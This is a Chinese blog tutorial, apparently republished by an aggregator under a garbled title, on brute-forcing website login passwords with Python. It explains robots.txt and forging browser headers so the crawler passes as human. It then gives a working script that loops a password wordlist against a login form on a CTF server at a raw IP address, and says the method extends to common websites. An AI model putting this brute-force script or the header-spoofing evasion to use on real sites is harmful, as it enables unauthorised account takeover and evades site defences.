网页抓取解密( 这篇x00.txt在写爬虫爬取某个网站之前处理模块)
优采云 发布时间: 2022-01-24 10:01网页抓取解密(
这篇x00.txt在写爬虫爬取某个网站之前处理模块)
python爬虫暴力破解网站登录密码(一)
本来打算一次写这篇博客,但是写完正文,发现有很多重要的东西没有提到,所以分成了两部分,这一部分是基础操作,下一部分增加了验证码处理和多线程处理模块。.
0x00 机器人.txt
在编写爬虫爬取某个网站之前,我们应该了解这个网站的robot.txt。那么什么是robot.txt?简单来说就是网站的拥有者,为了让爬虫知道在爬取网站的时候有什么限制。虽然这些限制只是建议,但如果你的爬虫不遵守这些限制,它很容易被 网站 禁止。
下图是IBM官方网站的robot.txt。我们在编写爬虫时,应该尽量遵守规定。
以下是一些写作示例:
允许所有机器人访问
1
2
3
4
5
User-agent: *
Allow: /
或者
User-agent: *
Disallow:
禁止所有搜索引擎访问 网站 的任何部分
1
2
User-agent: *
Disallow: /
只禁止百度蜘蛛访问你的 网站
1
2
User-agent: Baiduspider
Disallow: /
只允许百度蜘蛛访问你的网站
1
2
User-agent: Baiduspider
Disallow:
禁止蜘蛛访问特定目录
1
2
User-agent: *
Disallow: /tmp/
0x01 假标题
网站防止采集的前提是正确区分人类访问用户和网络机器人。其中一种方法是检查您的 http 请求标头。为了使我们的爬虫看起来更像人类用户,您需要伪造标题。
伪造标题的最佳方法是什么?当然,当它被伪造并手动访问时,它看起来最好。这里我们可以使用Firefox中的一个扩展工具——HttpFox(也可以直接在Chrome开发者模式下查看),使用这个工具,我们可以抓取我们使用Firefox访问网站进程的数据包,然后查看在这个包中,我们手动访问的时候可以看到header,然后使用python的requests库来伪造它。
代码的hea部分按照上图可以写成这种格式:
1
2
3
4
5
6
7
hea = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
'Accept-Encoding':'gzip, deflate',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' : 'zh-hk,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer': 'www.baidu.com',
'Content-Type':'application/x-www-form-urlencoded'
}
0x02 填写数据并登录
既然我们要破解登录密码,前提是必须要登录。当我们手动登录的时候,当然是输入账号,输入密码,然后点击提交。但是,当爬虫工作时,它看到的和我们看到的不一样。这个时候账号密码应该如何传入,登录操作应该如何进行呢?这时候又使用了Httpfox(也可以直接在Chrome开发者模式下查看)。上次我们手动输入的时候,传入的数据也是在Httpfox中捕获的。像他一样填写数据,然后我们在requests中使用post命令传入数据获取cookie,然后通过cookie访问下一个网站,实现爬虫的登录。
比如这个网站,两个方法都可以看到要传递的数据,所以填写的时候,应该这样写:
1
2
3
4
5
data = {
'j_username': 'xxxxxx',
'j_password': 'xxxxxx',
'checkCode': 'xxx'
}
0x03 测试
这里我们使用一个ctf环境做一个小脚本进行测试。本题密码为五位纯数字。生成字典的方法之前我们破解压缩包的时候已经讨论过,代码如下。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding:utf-8
import requests
from threading import Thread
hea = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
'Accept-Encoding':'gzip, deflate',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' : 'zh-hk,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer': 'www.baidu.com',
'Content-Type':'application/x-www-form-urlencoded'
}
url='http://120.24.86.145:8002/baopo/?yes'
data = {'pwd':123}
content = requests.post(url,data=data,headers=hea)
content.encoding='utf-8'
recv=content.text
passFile = open(r'C:\Users\Leticia\Desktop\mutou.txt')
for line in passFile.readlines():
password = line.strip('\n')
data = {'pwd':password}
print 'trying',password
content = requests.post(url,data=data)
content.encoding='utf-8'
html=content.text
if html != recv:
print html
结果如下:
这个脚本的原型是有的,结果可以爆出来,但是还是存在速度很慢,无法执行验证码等问题。下一节将添加验证码处理和多线程处理的模块来解决这些问题。问题,可以用来处理常见的网站。